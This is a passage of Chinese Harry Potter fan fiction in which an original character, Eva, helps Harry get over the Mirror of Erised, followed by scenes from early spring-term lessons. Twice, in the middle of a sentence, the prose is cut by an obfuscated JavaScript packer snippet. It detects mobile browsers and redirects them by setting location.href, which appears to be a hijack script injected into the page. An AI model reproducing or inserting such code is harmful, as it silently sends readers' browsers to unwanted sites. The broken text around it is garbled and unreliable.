秋有时候会来她旁边坐下,织那条永远织不完的围巾。现在围巾已经很长了,秋开始织另一条,说是给妹妹的。 “你妹妹也在霍格沃茨吗?”Eva问。 “还没,”秋说,织针在她手里稳稳地动,“她才九岁。但我妈妈让我提前准备,说反正冬天长,织着玩。”她顿了顿,“其实我知道,她是想让我有点事做,别总想家。” “你想家吗?”Eva轻声问。 秋的手指停了一下:“有时候。特别是晚上,躺下的时候。会想我妈妈做的叉烧包,想我爸爸读报纸的声音。”她笑了,“但这里也很好。有朋友,有魁地奇,有……”她指了指窗外,“这么好看的雪。” Eva点点头。她也想家,但那种想念是温和的,像背景音乐,一直在那儿,但不吵。 直到那天下午,她在三楼拐角碰到哈利。 他一个人走着,低着头,手里攥着隐形衣的一角——银色的布料从指缝漏出来,在昏暗走廊里泛着幽光。他走得很慢,脚步拖沓,不像平时那个急着去训练或者找朋友的哈利。 “嗨。”Eva轻声说。 哈利抬起头。Eva心里“咯噔”一下——他的眼睛下面有深色的阴影,不是没睡好的那种青黑,是更深的、像淤伤一样的颜色。绿眼睛也不像平时那么亮,有点雾蒙蒙的。 “嗨。”他应了一声,声音哑哑的。 “你还好吗?”Eva问。其实不用问,光看就知道不好。 哈利扯了扯嘴角,想笑,但没笑出来:“还好。就是……没睡好。” 他们一起往楼下走。旋转楼梯今天特别安静,只有他们的脚步声。Eva走在前头,哈利跟在后面,隔了两级台阶。她能感觉到他的目光落在自己背上,但不是平时那种友好的注视,是……涣散的,像在看很远的地方。 走到二楼平台时,哈利突然开口:“我又去看那面镜子了。” Eva停下脚步,转过身。哈利站在下面两级台阶上,抬着头看她,绿眼睛里的雾气更重了。 “昨晚去的,”他继续说,声音低得像自言自语,“待了很久。费尔奇差点发现我,但我躲在隐形衣里,他看不见。” “哈利……”Eva想说点什么,但话卡在喉咙里。她想起上次的谈话,想起自己说的“墨太浓”“路要自己走”。那些话现在听起来干巴巴的,像课本上的道理,解不了眼前的渴。 “我知道你要说什么,”哈利打断她,语气里没有不耐烦,只有疲惫,“我知道那不是真的。我知道我应该……走出来。”他顿了顿,手指无意识地摩挲着隐形衣的布料,“可是Eva,当你什么都没有的时候,假的也比空的好。” 这话像一根细针,轻轻扎进Eva心里。她忽然意识到,自己上次说的话,虽然没错,但太……站在岸上了。她是在对水里的人说“快游上来”,却没想过水里有多冷,岸有多远。 “对不起。”她轻声说。 哈利愣了一下:“什么?” “对不起,”Eva重复道,走下两级台阶,站到他面前,“我上次说的话……太轻松了。我没有你的经历,我不该说得好像很简单。” 哈利看着她,绿眼睛里的雾气好像淡了一点,露出底下真实的困惑和疲惫:“不,你说得对。我确实……不该沉迷。只是……”他咬了咬嘴唇,“只是有时候,控制不住。” Eva点点头。她懂什么叫“控制不住”。就像她小时候在柏林,明知道不能碰那个花瓶,但手指就是伸出去了。有些东西,越是告诉自己别想,越是往脑子里钻。 “镜子里的他们……”她小心地问,“和上次一样吗?” “一样,”哈利说,声音柔和了些,“爸爸妈妈,爷爷奶奶,还有一些我不认识但感觉很亲的人。他们都在笑,对我招手。妈妈会整理我的头发,爸爸会拍拍我的肩……”他停了停,声音更低了,“有时候我会对他们说话。小声说,怕被人听见。说魁地奇训练的事,说魔药课被斯内普骂的事,说……说想他们。” 走廊里很安静。远处传来画像的鼾声,一阵一阵的。 Eva静静听着。她没有说“他们听不见”,也没有说“那是假的”。她只是听着,像听雨声一样,不打断,不评价。 等哈利说完,她才开口:“你跟他们说话的时候,心里会好受一点吗?” 哈利想了想,点点头:“会。就好像……有人听。” “那就让它帮你,”Eva轻声说,“但别让它困住你。” 哈利困惑地看着她。 “我的意思是,”Eva慢慢组织语言,“如果你需要对着镜子说话,才能把心里的话说出来……那就说。但说完之后,记得转过身,回到这里来。”她指了指走廊,指了指窗外的雪,“因为这里也有需要听你说话的人。罗恩,赫敏,伍德队长……还有我。” 她顿了顿,想起秋织围巾时说的话:“照片是照片,生活是生活。镜子也一样。你可以看,但记得回家的路。” 哈利沉默了很长时间。他低头看着手里的隐形衣,银色布料软软地垂着,像一捧水,抓不住。 “我试试。”最后他说,声音很轻,但很认真。 那天晚上,Eva没去图书馆。她坐在公共休息室的壁炉边,膝盖上摊着书,但没看进去。脑子里反复回响着哈利的话——“假的也比空的好”。 秋走过来,在她旁边的扶手椅坐下,手里拿着新织的围巾。这次是给妹妹的,粉蓝色,很柔和。 “你看起来有心事。”秋轻声说。 Eva点点头,但没说什么。哈利的事是秘密,是他的脆弱,她不能随便说。就像她不会把爷爷笔记里的内容拿出来讨论一样——有些东西太私人,只能自己守着。 秋也没追问,只是把织好的那段围巾递过来:“摸摸看,软不软?” Eva摸了摸。毛线很软,织得密密的,手感很好。 “很软。”她说。 “那就好,”秋笑了,“我妹妹皮肤敏感,太粗糙的会痒。”她又织了几针,然后说,“有时候,看着别人难过,自己也会难过。但又帮不上忙,对吧?” Eva抬起头。秋的眼睛在炉火光里温柔地亮着。 “嗯。”她应了一声。 “那就陪着,”秋说,织针在她手里稳稳地动,“有时候,陪着就是最大的帮忙。” 接下来的几天,Eva注意到哈利的变化。他还是会消失——穿着隐形衣,不知道去哪儿。但消失的时间短了。晚餐时他会出现,虽然吃得不多,但会来。魁地奇训练他也去,伍德抱怨他“注意力不集中”,但至少他去了。 有一天晚饭后,Eva在猫头鹰棚屋碰到他。哈利正看着窗外,手里拿着一封信——没封口,Eva瞥见开头是“亲爱的爸爸妈妈”。 “要寄吗?”她轻声问。 哈利摇摇头:“不寄。没地址。”他把信折好,塞进口袋,“就是……写出来,舒服点。” Eva点点头。她懂。就像她给爷爷写信,有些话写出来了,心里就松了。 “你要寄信吗?”哈利问。 “嗯,”Eva从书包里拿出给爷爷的信,“问点事。” 素雪飞过来,落在她肩上。哈利看着她把信系好,轻声说:“你的猫头鹰真漂亮。” “它叫素雪。”Eva说,摸了摸素雪的头。 “很好的名字。”哈利看着素雪飞入夜色,银色身影很快消失在雪花中。然后他转过头,看着Eva:“谢谢。” “谢什么?” “所有。”哈利说,绿眼睛在昏暗光线下闪着温和的光,“谢谢你听我说,谢谢你不……不说那些‘你应该怎样’的话。” Eva摇摇头:“我说过的。上次就说过。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980629|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不一样,”哈利说,“上次你是告诉我道理。这次你是……陪我站在这里。” 窗外的雪下得更大了。猫头鹰棚屋里很冷,但Eva觉得心里暖融融的。 那天晚上,Eva做了个梦。梦见自己站在一面巨大的镜子前,镜子里是江南老宅,爷爷坐在院子里磨墨。她想走过去,但镜面像水一样,手伸进去,只碰到一片冰凉。 她醒来时,天还没亮。窗玻璃上的霜花在月光下像银色的蕾丝。她躺了一会儿,听着曼蒂平稳的呼吸声,心里那股“炁”轻轻流转,平和而安稳。 爷爷的回信在两天后到了。素雪落在窗台上时,羽毛上还沾着雪花。信很简短,爷爷的字一如既往地端正: “丽华:见信如晤。所问之事,古人有云:‘执象而求,咫尺千里。’影子留不住,路在脚下。朋友难过时,陪伴即是灯。勿急,勿慌,顺其自然。爷爷字。” Eva把信读了三遍。“执象而求,咫尺千里”——执着于表象,反而离真相更远。爷爷说得对。 她把信小心收好,放进绢帛笔记里。然后起身,推开窗。冷空气涌进来,带着雪的味道。远处,禁林边缘的树在晨光里显出深色的轮廓,像用墨笔勾勒出来的。 假期最后一天,城堡里渐渐有了人气。提前回来的学生拖着行李箱走过走廊,声音嘈嘈切切的。Eva坐在公共休息室窗边,看着下面院子里几个学生在打雪仗,笑声飘上来,脆脆的。 秋走过来,抱着她那堆毛线:“明天就正式上课了。你的论文准备好了吗?” “嗯。”Eva点头。 “那就好,”秋在她旁边坐下,“一年级下学期会更忙。我听说魔药课要开始熬制复杂药水了,变形术要学把甲虫变成纽扣……” 她絮絮地说着,声音温和,像背景音乐。Eva听着,偶尔应一声,心思却飘到别处。 她在想哈利。不知道他这个假期最后几天是怎么过的。还会去看镜子吗?还是找到了别的“说话”的方式? 晚饭时,她看见了答案。 哈利和罗恩、赫敏一起走进礼堂,三个人边走边说笑。哈利走在中间,罗恩在比划着什么魁地奇动作,赫敏在纠正他的语法。哈利听着,脸上带着笑——虽然还有点疲惫,但那是真笑,眼睛亮亮的。 他看见Eva,对她挥了挥手。Eva也挥了挥手。 那天晚上,Eva很早上床。躺在黑暗中,听着窗外细微的风声,她想起爷爷信里的话:“陪伴即是灯。” 也许她不需要做什么特别的。不需要说多么智慧的话,不需要找到完美的解决办法。只需要在朋友需要的时候,陪在旁边,像一盏小灯,不太亮,但足够照见脚下的路。 假期结束前的一天,Eva去猫头鹰棚屋给爷爷寄回信时,又碰到了哈利。他看起来比上次平静了些,但绿眼睛里多了一层复杂的、像是被大人说中心事后的那种微窘和释然。 “Eva,”他主动开口,声音有点闷,“我后来……还是去看镜子了。” Eva安静地看着他,没说话。 “然后邓布利多教授来了。”哈利苦笑了一下,揉了揉头发,“他就那么出现了,好像早知道我在那儿。” “他说什么了?” “他说那镜子叫厄里斯魔镜,能照出人内心最深的渴望。”哈利的声音低了下去,“他说我看到的不是真的,只是……我想看到的。还说,明天镜子就会被搬到别的地方去,我再也找不到了。”他顿了顿,试着模仿邓布利多的语气,但学得不太像,“‘沉湎于虚幻的梦想,而忘记现实的生活,这是毫无益处的。’” 说完这句话,哈利安静了一会儿,然后抬起头:“你知道吗,他说完那句话,我一下子就想到了你上次跟我说的。关于‘墨太浓’‘路要自己走’。你们……说的其实是一个意思,对不对?” Eva点点头。 “他没有骂我,”哈利继续说,语气轻松了些,“就是跟我说了那些话,然后让我回去睡觉。第二天镜子真的不见了,我找遍了四楼所有空教室都没找到。” 他靠在棚屋的木栏杆上,望着窗外暮色中的城堡:“其实……这样也好。知道它被搬走了,我反而不用每天想着要不要去看。就像你说的,得给自己留条回来的路。” 从那天起,哈利确实再也没提过要去找镜子。赫敏说,他好像“走出来了”。 14. 雪融时节 雪开始化了一点点——只是城堡背阴处的积雪依然厚重,朝阳的那几面,石墙边缘开始渗出湿痕,在清晨的低温中凝成薄薄的冰壳。庭院里的雪地被踩实了,在来来往往的脚步下变成灰扑扑、硬邦邦的一片。 圣诞假期结束后的第一个星期一,霍格沃茨在冬日的晨光中醒来。 走廊里又挤满了人,脚步声、说话声、书包撞到墙壁的闷响,嗡嗡的,闹哄哄的。Eva早上醒来时,宿舍里四个人全齐了——丽莎从家里带回来一大盒乳脂软糖,正分给大家;帕德玛整理着假期里收到的信和礼物;曼蒂坐在床边,显得有些困倦。 “我昨晚梦见还在写变形术论文,”曼蒂揉着眼睛说,“结果早上醒来发现真的没写完,赶紧补了几行。” Eva换好校服长袍。袍子洗过了,带着阳光和肥皂的味道,家养小精灵们把每一件都熨得笔挺。她系好扣子,对着镜子整理了一下领子。镜子里那张脸还是老样子,黑眼睛,黑头发,扎成马尾,额前有几缕碎发总是翘着,怎么压也压不平。 下楼时,旋转楼梯上挤满了人。拉文克劳的学生们在门口聚了一小群,一个六年级学生刚刚答对了门环的问题,橡木门正缓缓向内滑开。 “快点快点,”前面传来催促声,“第一节有课的先进!” Eva和曼蒂、丽莎、帕德玛跟着人流挤出门口,匆匆赶往礼堂。走廊里热气腾腾,刚从外面回来的学生脸颊还红着,袍角沾着泥点。窗玻璃上蒙着一层水汽,外面的雪景模糊成一片流动的白。 礼堂恢复了往日的热闹。四张长桌都坐满了,说话声、笑声、餐具碰撞声混成一片嗡嗡的背景音。天花板上是淡灰色的天空,飘着细碎的雪花——城堡的魔法天花板正忠实地反映着一月的天气。 Eva在拉文克劳长桌靠近中间的位置坐下,挨着曼蒂。拉文克劳的桌子在礼堂的左侧,格兰芬多的长桌在他们对面,中间隔着宽阔的走道。赫奇帕奇和斯莱特林的桌子分别在礼堂的另外两侧。 她抬起头时,正好能看见对面的格兰芬多长桌。哈利、罗恩和赫敏坐在一起——哈利的头发还是乱糟糟的,但气色好多了,眼下的阴影淡了。罗恩正往面包上涂厚厚一层黄油,一边涂一边对哈利说着什么,表情很兴奋。赫敏在翻一本厚书,偶尔抬起头说两句话,又低下头继续看。 Eva低下头,给自己盛了碗燕麦粥。粥熬得稠稠的,加了牛奶和蜂蜜,暖呼呼的。她想起假期里哈利说的那些关于镜子的事,现在看来,他似乎好多了。这样就好。 “你们看,”丽莎小声说,用下巴指了指教师席,“奇洛教授今天好像特别紧张。” Eva抬起头。奇洛教授坐在教师席最边上,正小口小口地喝着一杯什么饮料,手有点抖。他的头巾裹得严严实实,只露出一双惊慌的眼睛,时不时左右张望。 “他一直那样,”曼蒂说,“从开学就这样。” “也是。”丽莎耸耸肩,继续吃她的煎蛋。 第一节课是变形术。麦格教授走进教室时,袍子带起一阵风。她的表情比放假前更严肃,好像一个假期攒下的威严都要在今天用出来。 “把论文交上来,”她的声音像敲小锤子,笃笃的,“放在讲台左边。没有写的人,课后留堂补写,并扣二十分。” 教室里一片窸窣声。学生们起身交论文,羊皮纸卷堆成小山。Eva把自己的那份放在最上面——深蓝色的丝带扎着,边角整齐。 麦格教授开始讲课。今天学的是把老鼠变成鼻烟盒——这是比之前甲虫变纽扣更复杂的活物变形,因为老鼠更大,更有反抗意识,而且变形后的物品需要有实际功能(开合)。 “这不仅仅是外形的改变,”麦格教授说,魔杖一挥,她桌上的一只灰老鼠就变成了一个镶嵌珍珠母的精致鼻烟盒,盒盖“咔”一声自动弹开,“你们需要将生命形态彻底重塑为无生命的精致物件。这需要极强的意志力、清晰的想象力,以及对魔力输出的精准控制。” 她示范了手腕动作——一个复杂的弧形轨迹,结束时手腕轻抖。 “现在,每人领一只老鼠。记住:如果谁的鼻烟盒还长着尾巴或者胡须,重做。如果打不开或关不上,重做。开始。” 老鼠装在铁丝笼里,灰扑扑的毛,黑豆似的眼睛警惕地转动。Eva打开笼子时,她的那只老鼠立刻缩到角落,吱吱叫着不肯出来。她小心地伸手去捉,指尖刚碰到毛茸茸的背,老鼠就猛一窜,差点从桌上跳下去。 “抓住了!”旁边的曼蒂低声说,她已经把自己的老鼠按在了操作台上。 Eva深吸一口气,终于用两只手捧住了那只挣扎的小动物。老鼠在她掌心扭动,温热,心跳很快。她把它轻轻放在桌上,按住——不能太用力,会伤到它;也不能太轻,会跑掉。 举起魔杖时,她想起爷爷笔记里关于“顺势而为”的话。老鼠是活物,有它自己的“势”。强行压制可能会让变形更困难,也许……可以引导? 她集中精神,不是想象“我要把你变成鼻烟盒”,而是想象那股变化本身——像水流漫过石头,像春天融雪,一种温和但不可逆转的转变。 “速速变形。” 魔杖尖涌出柔和的银光,包裹住老鼠。老鼠不再剧烈挣扎,而是慢慢安静下来,在光中身形开始改变——身体压扁,变方,长出棱角;皮毛变成深色的木纹,眼睛的位置浮现出小小的铜扣。最后“咔哒”一声轻响,一个深棕色木纹的小盒子落在桌上,盒盖紧闭。 Eva小心地伸手碰了碰盒盖上的铜扣。扣子弹开,盒盖向上掀起——里面是空的,衬着暗红色的丝绒。成功了。 但不够完美。木纹有些地方太深,像疤痕;铜扣稍微歪了点;盒子比麦格教授示范的那个厚了些。 麦格教授走过来,拿起盒子仔细检查。“成功变形,功能完整。”她严肃地说,“但细节粗糙——木纹不自然,厚度不均匀。这说明你的魔力输出不够平稳,在变形过程中有波动。”她看了Eva一眼,“不过,能第一次尝试就完成功能性变形,已经超过许多一年级生的水平。拉文克劳加五分。” Eva松了口气,放下魔杖。手心全是汗,手臂有点发软。 她看向旁边——赫敏的鼻烟盒几乎是完美的复制品,深色木纹流畅自然,铜扣端正,麦格教授给了她十分。哈利的盒子也不错,只是开合有点涩,加了七分。罗恩的老鼠变成了一只……会轻微颤抖的盒子,麦格教授让他重做。纳威的老鼠长出了盒子的形状,但还有条细尾巴在盒底摆来摆去,他急得快哭了。 下课时,大家都累坏了。Eva收拾东西时,感觉太阳穴突突地跳,那种精神高度集中后的疲惫感涌上来。 “你的盒子怎么样?”曼蒂凑过来看。她的盒子是浅棕色的,形状规整,只是木纹有点模糊。 Eva递给她。曼蒂打开盒盖又合上:“你的能正常开合!我的有时候会卡住。” 她们一起走出教室。走廊里人很多,吵吵嚷嚷的。Eva在人群中瞥见马尔福正和几个斯莱特林学生从魔药课教室方向走来——看来他们下一节没课。 马尔福的目光扫过人群,在哈利身上停住,嘴角勾起那个熟悉的讥诮弧度。他故意放慢脚步,等哈利走近。 “看看这是谁,”他拖长声音,“我们大名鼎鼎的波特。听说你圣诞节收到件隐形衣?真贴心,这样你夜游的时候就更方便了——反正你也不是第一次违反校规了,对吧?” 哈利的脸沉了下来。罗恩往前一步,但赫敏拉住了他的袖子。 “走开,马尔福。”哈利说,声音冷冰冰的。 “哦,生气了?”马尔福假笑,“我只是提醒你,有些人就算有隐形衣,也藏不住自己是个没教养的——” “马尔福!”麦格教授的声音从变形术教室门口传来,她刚送走最后几个学生,脸色严肃,“走廊里禁止喧哗。如果你们没事做,我可以给你们布置额外的作业。” 马尔福立刻收敛了表情,但灰眼睛里的得意没散。“是,教授。”他假惺惺地说,带着克拉布和高尔转身离开,袍角划出傲慢的弧度。 Eva和曼蒂快步走过。经过哈利身边时,Eva看见他紧握的拳头,指节都白了。 下午是魔药课,和格兰芬多一起上。地下室还是那么冷,阴湿的气味更重了,混着雪水融化后渗进来的土腥味。Eva和帕德玛找到靠后的操作台,放下坩埚和材料。 斯内普教授走进来时,黑袍翻滚得像暴风雨前的乌云。他的目光扫过教室,在哈利身上停留的时间格外长——那眼神像冰冷的解剖刀,要把人一层层剥开来看。 “今天熬制治疗疥疮药水,”他的声音平板无波,像在宣读判决书,“配方在黑板上。我需要看到精确的称量、严格的火候控制和完美的搅拌时机。任何失误——我都会知道。” 教室里立刻安静下来,只剩下切、磨、搅拌的声音。Eva小心地称量干荨麻,磨蛇牙。坩埚架到火上后,药液慢慢变成预期的浅黄色。加入豪猪刺后,颜色转为淡蓝——她顺时针搅拌三圈半,药液稳定地保持着清澈的淡蓝色。 斯内普在教室里踱步。他停在哈利和罗恩的操作台前,低头看着他们的坩埚——那里正冒着可疑的黄绿色烟雾。 “波特,”他的声音冷得像地窖的石壁,“你显然认为配方只是建议。豪猪刺加早了,药水已经废了。格兰芬多扣五分。” 哈利脸白了,嘴唇紧抿。 斯内普又转向西莫和迪安那一组:“斐尼甘,托马斯,你们的坩埚底下在冒黑烟。看来你们连最基本的火候控制都不会。格兰芬多再扣五分。” 他继续踱步。经过Eva的操作台时,他停下来,俯身查看坩埚。瘦长的手指从袍子里抽出一根细长的玻璃棒,蘸了点药液,举到眼前对着光线看。然后他让药液滴在指尖,捻开,凑到鼻尖嗅了嗅。 他沉默了几秒钟。 “颜色正确,质地合格。”他直起身,黑眼睛看了Eva一眼,“没有明显错误。” 他说完就转身走向下一组,黑袍在身后翻涌。没有嘲讽,没有挑刺,只是平淡地陈述事实——这在斯内普的课上几乎算是一种“表扬”了。 Eva低下头,继续照看坩埚。心里有点奇怪——斯内普平时总会找点毛病说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980630|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,今天怎么就这么过去了?不过没被扣分总是好事。 下课铃终于响了。学生们如释重负地收拾东西,逃也似的离开阴冷的地下室。Eva把洗净的坩埚擦干放进柜子,收好紫竹笔和笔记。走出教室时,帕德玛小声说:“斯内普教授今天居然没挑你的毛病。” “嗯。”Eva应了一声。她自己也觉得奇怪,但没多想。 回到塔楼时,门口聚了几个学生。鹰形门环今天的声音带着沉思的回响: “何物既非生者,亦非死者,却能行走言谈?” 一个五年级学生想了想:“画像。” “正确。”橡木门滑开。 公共休息室里,壁炉已经生起了火,驱散了从走廊带进来的寒气。Eva在窗边常坐的位置放下书包,却没有立刻开始写作业。她看着窗外——庭院里的雪化了一些,露出湿漉漉的草地。几个低年级学生在远处追逐,踩得泥水四溅。 晚饭时,礼堂里的气氛有些异样。赫奇帕奇长桌那边特别安静,沙漏里的黄宝石明显少了一截。学生们低声议论着,目光时不时瞟向教师席。 “……听说是昨晚的事……” “费尔奇在四楼抓到的……” “直接扣了五十分!麦格教授亲自扣的……” Eva小口吃着炖菜。她侧过头,能看见赫奇帕奇长桌那边,有个圆脸棕发的男孩——贾斯廷·芬列里,她魔咒课上见过,那个总是羡慕她做得好的赫奇帕奇学生——正低着头坐在长桌末尾,几乎没动盘子里的食物。周围的同学有的投去同情的目光,有的则摇头叹气。 “又有个去四楼的,”旁边一个拉文克劳五年级女生低声对同伴说,“这次是自己偷偷去的,被费尔奇抓个正着。” 她的同伴朝拉文克劳长桌这边瞥了一眼,声音压得更低:“至少我们院的那个是为了帮朋友……不过五十分也太多了。” Eva觉得耳朵有点热。她低下头,假装专心吃饭。她能感觉到周围若有若无的目光——不是恶意,但让她不太自在。 她看向对面的格兰芬多长桌,哈利、罗恩和赫敏也在看赫奇帕奇那边,三人表情复杂,似乎在低声讨论着什么。 饭后,Eva在走廊里碰到了赫敏。棕发女孩抱着一摞书,看见Eva时眼睛亮了一下。 “Eva!正好找你,”赫敏快步走过来,语速很快,“我和几个同学组织了一个变形术练习小组,专门练老鼠变鼻烟盒。麦格教授说这周要检查每个人至少成功三次。你要不要来?这周六下午,在二楼那个空教室。” Eva想了想。和赫敏一起练习,确实会有收获。 “好。”她说。 “太好了!”赫敏在怀里那摞书的顶端抽出一张羊皮纸,用羽毛笔快速写下时间地点,“给,这是详细信息。我邀请了哈利、罗恩,还有拉文克劳的曼蒂和丽莎——曼蒂说你会来,所以我就直接找你了。” 原来曼蒂已经答应了。Eva接过羊皮纸:“谢谢。” “不客气,”赫敏笑了,“多几个人一起练,总比一个人对着老鼠发愁好。”她顿了顿,压低声音,“对了……你听说了吗?那个赫奇帕奇新生的事。” Eva点点头。 赫敏叹了口气:“真不知道他怎么想的。四楼禁区明令禁止靠近,而且上次我们……”她没说完,但意思很清楚,“反正,我们现在都离那里远远的。哈利也是——邓布利多教授跟他谈过之后,他再也没提过要去看了。” 这倒是好消息。Eva想起放假前哈利对着镜子沉迷的样子,现在看来,他确实走出来了。 “那就好。”她说。 赫敏又聊了几句作业的事,然后抱着书匆匆离开了——她还得去图书馆占位置。 Eva回到拉文克劳塔楼。公共休息室里,曼蒂正在和丽莎下巫师棋,看见她进来,曼蒂招招手。 “赫敏找你了?”曼蒂问,“关于练习小组的事?” “嗯,”Eva在她旁边的扶手椅坐下,“周六下午。” “太好了,”丽莎从棋盘上抬起头,“我一个人练总是不行,老鼠老是跑。人多点,说不定能互相学点技巧。” 壁炉里的火噼啪作响。窗外天色已暗,城堡各处的灯火亮起来,在渐浓的夜色中像温暖的星星。 Eva拿出爷爷的绢帛笔记,翻到常看的那一页。手指抚过那些熟悉的汉字,心里那股“炁”缓缓流转,平和,稳定。 今天学到了新东西:老鼠变鼻烟盒,要引导,不要压制。 也许其他事也一样。面对马尔福的挑衅,不用硬碰硬。面对斯内普的审视,做好自己的事就行。面对四楼的秘密……离远点。 一步一步来。 她合上笔记,看向窗外。夜色中,城堡的轮廓在深蓝的天幕下显得格外清晰,塔楼的尖顶指向星空。 远处传来猫头鹰扑棱翅膀的声音。大概是送信的猫头鹰回来了。 明天还有课,还有作业,还有好多东西要学。 她只需要—— 做好自己的事。 好好学。 慢慢来。 15. 新学期的节奏 雪化干净了。二月中旬的庭院里,草地露出了大片的绿,湿漉漉的,在阳光下泛着油亮的光。城堡外墙的石缝里钻出了嫩绿的苔藓,空气里有股泥土融化和草芽萌发的味道,清清凉凉的。 但霍格沃茨的生活节奏没变——还是一样忙,一样挤,一样每天都有写不完的作业。 开学后的第二周,课程明显变难了。变形术课上,麦格教授开始教他们如何给物体施加永久性的变形。 “到目前为止,你们所做的变形都是暂时性的,”麦格教授站在讲台前,表情比平时更严肃,“一根针会在几小时后变回火柴,一只甲虫变成的纽扣也会逐渐恢复原形。今天,我们要尝试让变形持续得更久——至少维持一周。” 教室里响起一阵低低的惊叹声。Eva面前的桌上放着一枚普通的鹅卵石,灰扑扑的,表面光滑。任务是将它变成一枚国际象棋棋子,并且要维持至少七天。 “关键在于意志的坚定和魔力的彻底渗透,”麦格教授示范道,她面前的一枚石子在她魔杖下缓缓改变形状,颜色转为深黑,最后变成一个精致的骑士棋子,马头高昂,“你们需要想象这不仅仅是外形的改变,而是本质的替换——石头不再是石头,它从此刻起就是棋子。” Eva握住紫杉木魔杖,那股熟悉的热流涌上来。她凝视着那枚鹅卵石,脑海中勾勒出拉文克劳蓝色棋子的形象——不是简单的改变,而是从石头到棋子的彻底转化。爷爷笔记里关于“顺势而为”的话浮现在脑海:石头的坚硬可以顺势转化为棋子的稳固,它的重量可以保留…… “速速变形。” 魔杖尖涌出柔和的银光,包裹住鹅卵石。石头在光中开始改变——形状拉长、规整,颜色逐渐转为深蓝色,表面浮现出青铜色的纹路。当银光散去,一枚精致的蓝色骑士棋子躺在桌上,马头微侧,栩栩如生。 麦格教授走过来拿起棋子仔细检查。“成功的永久变形尝试,”她说,语气里有一丝赞许,“质地均匀,细节清晰。但要看它能否维持一周。”她看了Eva一眼,“拉文克劳加五分。” Eva松了口气。五分——离补上那五十分还很远,但至少是进步。 魔咒课稍微轻松些。弗立维教授开始教他们“软化咒”,用于软化坚硬的物体。 “这个咒语在日常生活中非常实用!”弗立维教授站在他那摞书上,尖嗓子兴奋地说,“想象一下,你们的羽毛笔掉在地上摔断了笔尖,一个软化咒就能让它恢复柔软,重新削尖!咒语是‘柔如绸缎’,手势是这样的——” 他示范了一个柔和的下挥动作。魔杖尖触及讲台上的一小块硬木板时,木板立刻变得像橡皮泥一样柔软。 Eva面前的桌上放着一小块干硬的面包——这是昨天的晚餐剩下的,现在硬得像石头。她举起魔杖,回想弗立维教授强调的“柔和”二字。 “柔如绸缎。” 魔杖尖涌出淡金色的光,落在面包上。硬邦邦的面包立刻开始变化——不是突然变软,而是从表面开始,像冬雪融化般逐渐柔软下来。几秒钟后,它恢复了新鲜面包的柔软触感。 “漂亮的控制力!”弗立维教授飘过来,用手指戳了戳面包,“软化均匀,没有过度。拉文克劳加十分!” 周围传来羡慕的低语。Eva放下魔杖,手心有点汗湿。加十分——很好。 魔药课这周学习制作“除草药剂”,一种专门用于清除魔法花园中顽固杂草的药剂。步骤复杂,需要精确控制七种草药的加入顺序和搅拌方向。 地下教室里弥漫着各种草药混合的古怪气味:刺鼻的伞形蓟、辛辣的毒触手根、还有一股类似烂白菜的臭味——那是皱皮无花果煮沸时散发的气味。 Eva和帕德玛一组,小心翼翼地称量着磨碎的毒触手根粉末。粉末是暗绿色的,轻轻一碰就会扬起,必须屏住呼吸操作。 “顺时针搅拌三圈,然后立刻加入伞形蓟汁液……”Eva低声念着步骤,眼睛紧盯着课本上的图示。 坩埚里的药液已经变成了一种浑浊的棕绿色,正咕嘟咕嘟冒着粘稠的气泡。加入伞形蓟汁液后,药液应该转为清澈的黄绿色——但她们的可能火候稍大,颜色偏暗。 斯内普教授无声无息地出现在她们操作台边。他俯身,瘦长的手指捏起一点药液,在指尖捻开,凑到鼻尖嗅了嗅,又用舌尖极其轻微地碰了一下——这个动作快得几乎看不清。 “火候偏大,伞形蓟汁液加入过早,”他冷冷地说,黑眼睛盯着坩埚,“药效会减弱三成。重做。” “是,教授。”Eva和帕德玛同时低声应道,开始清理坩埚。 斯内普没有马上走。他的目光扫过Eva的操作台——那里整齐地摆放着各种材料,每样都按使用顺序排列。爷爷给的紫竹笔放在羊皮纸笔记旁,笔尖干净。他的眼神在那支笔上停留了片刻,漆黑的眸子里闪过一丝难以捉摸的审视。然后,他才转身走向纳威和西莫那一组——那里的坩埚正冒着刺鼻的紫色浓烟。 下课后,学生们如释重负地逃离阴冷的地下室。Eva收拾东西时,帕德玛小声说:“斯内普教授今天又看了你的笔。” “嗯。”Eva应了一声,小心地将紫竹笔收进笔盒。她也不明白为什么斯内普教授总是注意这支笔,可能是因为好奇? 她们走上楼梯时,正好碰到哈利、罗恩和赫敏。三人都是一脸疲惫,袍子上沾着可疑的污渍。 “我的除草药剂变成了一种会腐蚀桌子的粘液,”罗恩哀叹,“斯内普扣了十分,还让我课后清理整张桌子。” “你的毒触手根没有磨够细度,”赫敏快速分析道,“颗粒太大会和伞形蓟汁液产生不良反应。我在《罕见魔药事故案例集》里看到过类似的……” 哈利没说话,只是揉着太阳穴。Eva注意到他的脸色不太好,眼下有淡淡的阴影。 “你还好吗?”她轻声问。 哈利愣了一下,像是刚注意到她:“嗯……还好。就是昨晚没睡好。”他顿了顿,“做了个奇怪的梦。” “又是那个梦?”罗恩关切地问。 “不太一样,”哈利摇头,声音压低,“这次没有绿光,也没有尖叫声。就是……一种被监视的感觉。好像有双眼睛在暗处盯着我。” 